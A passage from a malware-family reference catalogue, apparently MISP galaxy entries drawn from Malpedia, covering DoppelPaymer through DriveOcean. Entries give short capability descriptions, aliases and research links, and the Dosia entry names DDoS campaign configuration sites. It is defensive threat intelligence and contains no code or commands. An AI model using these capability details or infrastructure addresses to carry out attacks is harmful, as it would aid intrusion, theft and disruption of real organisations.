https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf

DoppelPaymer

Doppelpaymer is a ransomware family that encrypts user data and later on it asks for a ransom in order to restore original files. It is recognizable by its trademark file extension added to encrypted files: .doppeled. It also creates a note file named: ".how2decrypt.txt".

The tag is: *misp-galaxy:malpedia="DoppelPaymer"*

DoppelPaymer is also known as:

- Pay OR Grief

Table 3722. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf
https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://redcanary.com/blog/grief-ransomware/
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
https://techcrunch.com/2020/03/01/visser-breach/

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/

https://www.bleepingcomputer.com/news/security/core-doppelpaymer-ransomware-gang-members-targeted-in-europol-operation/

https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://apnews.com/article/virus-outbreak-elections-georgia-voting-2020-voting-c191f128b36d1c0334c9d0b173daa18c

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf

https://sites.temple.edu/care/ci-rw-attacks/

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://www.zscaler.com/blogs/security-research/doppelpaymer-continues-cause-grief-through-rebranding

http://www.secureworks.com/research/threat-profiles/gold-heron

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/

https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html

https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/

https://twitter.com/AltShiftPrtScn/status/1385103712918642688

https://killingthebear.jorgetesta.tech/actors/evil-corp

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/

https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/

https://www.trendmicro.com/en_us/research/21/a/an-overview-of-the-doppelpaymer-ransomware.html

https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/

https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen

https://www.bleepingcomputer.com/news/security/foxconn-electronics-giant-hit-by-ransomware-34-million-ransom/

https://www.heise.de/news/Uniklinik-Duesseldorf-Ransomware-DoppelPaymer-soll-hinter-dem-Angriff-stecken-4908608.html

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://twitter.com/vikas891/status/1385306823662587905

https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf

https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/

https://twitter.com/BrettCallow/status/1453557686830727177?s=20

https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/

https://medium.com/s2wlab/operation-synctrek-e5013df8d167

https://www.secureworks.com/research/threat-profiles/gold-heron

https://www.ic3.gov/Media/News/2020/201215-1.pdf

https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

NgrBot

The tag is: *misp-galaxy:malpedia="NgrBot"*

NgrBot is also known as:

Table 3723. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot
http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html
https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/
https://research.checkpoint.com/dorkbot-an-investigation/
https://blog.trendmicro.com/trendlabs-security-intelligence/the-dorkbot-rises/

Dorshel

The tag is: *misp-galaxy:malpedia="Dorshel"*

Dorshel is also known as:

Table 3724. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks

Dosia

Infrastructure and programs used for, as its name suggests, DDoSing. It used to be written in Python, nowadays it's written in Go. Clients:

- Are written in Go. (Used to be written in Python.)
- Do not seem to differ significantly across OS deployments. (Confirmed on Windows, MacOS, Linux, Android)
- Seem to be partly run by NoName themselves.
- Partly also run voluntarily, recruited via dedicated Telegram channels. Participants are rewarded with cryptocurrency. Prints a suggestion to use a VPN for Russia-based launches. (This yields IP-based blocking as rather ineffective, consider behavioral analysis instead.)

Configuration:

- Rotates near-daily. Can be browsed on https://witha.name/ (also reachable via http://withanamemwesdvodfhthjq25a5a3uas24cpgoa7qm6gchcerzpis6qd.onion/).
- Is sent encrypted between C2 and Client.
- Specifies target hostname, subpath, vector protocols, methods, ports, whether SSL is used, headers for HTTP, request bodies.
- Any given config property can be randomly generated with per-use constraints.
- Is provided by a multi-level hierarchy of C2 servers.

The tag is: *misp-galaxy:malpedia="Dosia"*

Dosia is also known as:

- DDOSIA

Table 3725. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dosia
https://decoded.avast.io/martinchlumecky/ddosia-project-how-noname05716-is-trying-to-improve-the-efficiency-of-ddos-attacks/
https://go.recordedfuture.com/hubfs/reports/cta-2025-0722.pdf
https://noname.be42late.co/
https://blog.sekoia.io/following-noname05716-ddosia-projects-targets/
https://blog.sekoia.io/Noname05716-Ddosia-project-2024-updates-and-behavioural-shifts/
https://www.team-cymru.com/post/a-blog-with-noname
https://medium.com/@b42labs/data-insights-from-russian-cyber-militants-noname057-9f4db98f60e
https://medium.com/@lcam/data-insights-from-russian-cyber-militants-noname057-c9b7431f8352
https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/
https://viuleeenz.github.io/posts/2023/05/extracting-ddosia-targets-from-process-memory/

DOSTEALER

According to Mandiant, DOSTEALER is a dataminer that mines browser login and cookie data. It is also capable of taking screenshots and logging keystrokes.

The tag is: *misp-galaxy:malpedia="DOSTEALER"*

DOSTEALER is also known as:

Table 3726. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dostealer

https://www.mandiant.com/media/17826
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/

Dot Ransomware

The tag is: *misp-galaxy:malpedia="Dot Ransomware"*

Dot Ransomware is also known as:

- MZP Ransomware

Table 3727. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dot_ransomware
https://dissectingmalwa.re/nice-decorating-let-me-guess-satan-dot-mzp-ransomware.html

DOUBLEBACK

DOUBLEBACK is a newly discovered fileless malware deployed as part of an attack campaign that took place in December 2020. The threat actors responsible for the operations are tracked as UNC2529 by researchers. According to their findings, DOUBLEBACK is the final payload delivered onto the compromised systems. Its task is to establish and maintain a backdoor on the victim's machine.

The tag is: *misp-galaxy:malpedia="DOUBLEBACK"*

DOUBLEBACK is also known as:

Table 3728. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback
https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/
https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html

DoubleFantasy (Windows)

The tag is: *misp-galaxy:malpedia="DoubleFantasy (Windows)"*

DoubleFantasy (Windows) is also known as:

- VALIDATOR

Table 3729. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy
https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/
https://twitter.com/Int2e_/status/1294565186939092994

DoubleFinger

The tag is: *misp-galaxy:malpedia="DoubleFinger"*

DoubleFinger is also known as:

Table 3730. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefinger
https://securelist.com/doublefinger-loader-delivering-greetingghoul-cryptocurrency-stealer/109982/

DOUBLELOADER

The tag is: *misp-galaxy:malpedia="DOUBLELOADER"*

DOUBLELOADER is also known as:

Table 3731. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleloader
https://www.elastic.co/security-labs/deobfuscating-alcatraz

DoublePulsar

The tag is: *misp-galaxy:malpedia="DoublePulsar"*

DoublePulsar is also known as:

Table 3732. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

https://github.com/countercept/doublepulsar-c2-traffic-decryptor
https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit

DoubleZero

A wiper identified by CERT-UA on March 17th, written in C#.

The tag is: *misp-galaxy:malpedia="DoubleZero"*

DoubleZero is also known as:

- FiberLake

Table 3733. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doublezero
https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://cert.gov.ua/article/38088
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://unit42.paloaltonetworks.com/doublezero-net-wiper/
https://www.splunk.com/en_us/blog/security/threat-update-doublezero-destructor.html
https://blog.talosintelligence.com/2022/03/threat-advisory-doublezero.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-doublezero
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.youtube.com/watch?v=mrTdSdMMgnk
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

Downdelph

The tag is: *misp-galaxy:malpedia="Downdelph"*

Downdelph is also known as:

- DELPHACY

Table 3734. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
https://labs.sentinelone.com/a-deep-dive-into-zebrocys-dropper-docs/
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

Downeks

The tag is: *misp-galaxy:malpedia="Downeks"*

Downeks is also known as:

Table 3735. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks
http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments/?adbsc=social69739136&adbid=826218465723756545&adbpl=tw&adbpr=4487645412
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/

DownEx

According to Bitdefender, this is an exfiltration tool, scanning local and network drives for sensitive files, like documents, archives, certificates, and cryptographic keys.

The tag is: *misp-galaxy:malpedia="DownEx"*

DownEx is also known as:

Table 3736. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downex

https://www.bitdefender.com/en-us/blog/businessinsights/deep-dive-into-downex-espionage-operation-in-central-asia

DownPaper

DownPaper, sometimes delivered as sami.exe, is a Backdoor trojan. Its main functionality is to download and run a second stage. This malware has been observed in campaigns involving Charming Kitten, an Iranian cyberespionage group.

The tag is: *misp-galaxy:malpedia="DownPaper"*

DownPaper is also known as:

Table 3737. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downpaper
https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf
https://www.infinitumit.com.tr/apt-35/
http://www.clearskysec.com/charmingkitten/

DracuLoader

Cyber Defense Institute stated that this shellcode PE loader was observed staging win.hemigate.

The tag is: *misp-galaxy:malpedia="DracuLoader"*

DracuLoader is also known as:

Table 3738. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dracu_loader
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_7_hara_nakajima_kawakami_en.pdf
https://www.trendmicro.com/en_us/research/25/j/premier-pass-as-a-service.html

DragonBreath

The tag is: *misp-galaxy:malpedia="DragonBreath"*

DragonBreath is also known as:

Table 3739. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dragonbreath

https://www.elastic.co/security-labs/roningloader

DragonForce

According to Idan Malihi, this ransomware is based on the LockBit builder from 2022, utilizing similar configurations and attack methods. The ransomware's icon and wallpaper are embedded in the binary's overlay, compressed with Zlib, and loaded dynamically during execution.

The tag is: *misp-galaxy:malpedia="DragonForce"*

DragonForce is also known as:

Table 3740. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dragonforce
https://idanmalihi.com/dragonforce-ransomware-unveiling-its-tactics-and-impact/
https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations

DramNudge

The tag is: *misp-galaxy:malpedia="DramNudge"*

DramNudge is also known as:

Table 3741. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge

DRATzarus

The tag is: *misp-galaxy:malpedia="DRATzarus"*

DRATzarus is also known as:

- ThreatNeedle
- ThreatNeedleTea

Table 3742. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dratzarus
https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/

https://vblocalhost.com/uploads/VB2021-Park.pdf
https://www.gendigital.com/blog/insights/research/dprk-kimsuky-lazarus-analysis
https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326/
https://www.wiz.io/blog/north-korean-tradertraitor-crypto-heist
http://blog.nsfocus.net/stumbzarus-apt-lazarus/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf
https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/

DreamBot

2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) 2014 Dreambot (Gozi ISFB variant)

In 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.

See win.gozi for additional historical information.

The tag is: *misp-galaxy:malpedia="DreamBot"*

DreamBot is also known as:

Table 3743. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot
https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/
https://lokalhost.pl/gozi_tree.txt
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality
https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://community.riskiq.com/article/30f22a00
https://www.youtube.com/watch?v=EyDiIAtdI
https://medium.com/csis-techblog/the-end-of-dreambot-a-loved-piece-of-gozi-24cc9bfc8122

Dridex

OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method." IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."

The tag is: *misp-galaxy:malpedia="Dridex"*

Dridex is also known as:

Table 3744. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf
https://unit42.paloaltonetworks.com/banking-trojan-techniques/
https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/
https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
http://www.secureworks.com/research/threat-profiles/gold-heron
https://www.secureworks.com/research/threat-profiles/gold-drake
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.youtube.com/watch?v=1VB15_HgUkg
https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/
https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/

https://twitter.com/TheDFIRReport/status/1356729371931860992

https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization

https://blogs.vmware.com/networkvirtualization/2021/03/analysis-of-a-new-dridex-campaign.html/

https://twitter.com/Cryptolaemus1/status/1407135648528711680

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://unit42.paloaltonetworks.com/travel-themed-phishing/

https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/

https://viql.github.io/dridex/

https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/

https://community.riskiq.com/article/2cd1c003

https://muha2xmad.github.io/unpacking/dridex/

https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://adalogics.com/blog/the-state-of-advanced-code-injections

https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf

https://artik.blue/malware3

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks

https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77

https://cyber-anubis.github.io/malware%20analysis/dridex/

https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much

https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex

https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware

https://gaissecurity.com/uploads/csirt/EN-Dridex-banking-trojan.pdf

https://home.treasury.gov/news/press-releases/sm845

https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://threatresearch.ext.hp.com/dridex-malicious-document-analysis-automating-the-extraction-of-payload-urls/

https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays

https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf

https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation

https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf

https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/

https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state

https://github.com/rad9800/talks/blob/main/MALWARE_MADNESS.pdf

https://www.atomicmatryoshka.com/post/malware-headliners-dridex

https://www.secureworks.com/research/threat-profiles/gold-heron

https://community.riskiq.com/article/e4fb7245

https://twitter.com/felixw3000/status/1382614469713530883?s=20

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/

https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/

https://www.flashpoint-intel.com/blog-dridex-banking-trojan-returns/

https://reaqta.com/2020/06/dridex-the-secret-in-a-postmessage/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://malwarebookreports.com/cryptone-cobalt-strike/

https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt

https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/

https://threatresearch.ext.hp.com/detecting-ta551-domains/

https://us-cert.cisa.gov/ncas/alerts/aa20-345a

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/

http://www.secureworks.com/research/threat-profiles/gold-drake

https://intel471.com/blog/a-brief-history-of-ta505

https://killingthebear.jorgetesta.tech/actors/evil-corp

https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/

https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://isc.sans.edu/forums/diary/Recent+Dridex+activity/26550/

https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/

https://medium.com/s2wlab/operation-synctrek-e5013df8d167

https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/

https://blog.lexfo.fr/dridex-malware.html

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-005.pdf

https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them

https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf

https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office

https://www.pandasecurity.com/mediacenter/src/uploads/2017/10/Informe_Dridex_Revisado_FINAL_EN-2.pdf

https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf

https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf

https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf

https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain

https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/

https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/

https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
https://assets.virustotal.com/reports/2021trends.pdf
https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf
https://estr3llas.github.io/unveiling-custom-packers-a-comprehensive-guide/
https://securityintelligence.com/dridexs-cold-war-enter-atombombing/
https://votiro.com/blog/anatomy-of-a-well-crafted-ups-fedex-and-dhl-phishing-email-during-covid-19/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.appgate.com/blog/reverse-engineering-dridex-and-automating-ioc-extraction
https://intel471.com/blog/privateloader-malware
https://www.cert.ssi.gouv.fr/ioc/CERTFR-2020-IOC-003/
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://en.wikipedia.org/wiki/Maksim_Yakubets
https://cdn2.hubspot.net/hubfs/507516/ANB_MIR_Dridex_PRv7_final.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/

DRIFTPIN

Driftpin is a small and simple backdoor that enables the attackers to assess the victim. When executed the trojan connects to a C&C server and receives commands to grab screenshots, enumerate running processes and get information about the system and campaign ID.

The tag is: *misp-galaxy:malpedia="DRIFTPIN"*

DRIFTPIN is also known as:

- Spy.Agent.ORM
- Toshliph

Table 3745. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin

https://www.secureworks.com/research/threat-profiles/gold-niagara
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/

Dripion

The tag is: *misp-galaxy:malpedia="Dripion"*

Dripion is also known as:

- Masson

Table 3746. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dripion
https://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan

DriveOcean

Communicates via Google Drive.

The tag is: *misp-galaxy:malpedia="DriveOcean"*

DriveOcean is also known as:

- Google Drive RAT

Table 3747. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.driveocean
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-009.pdf
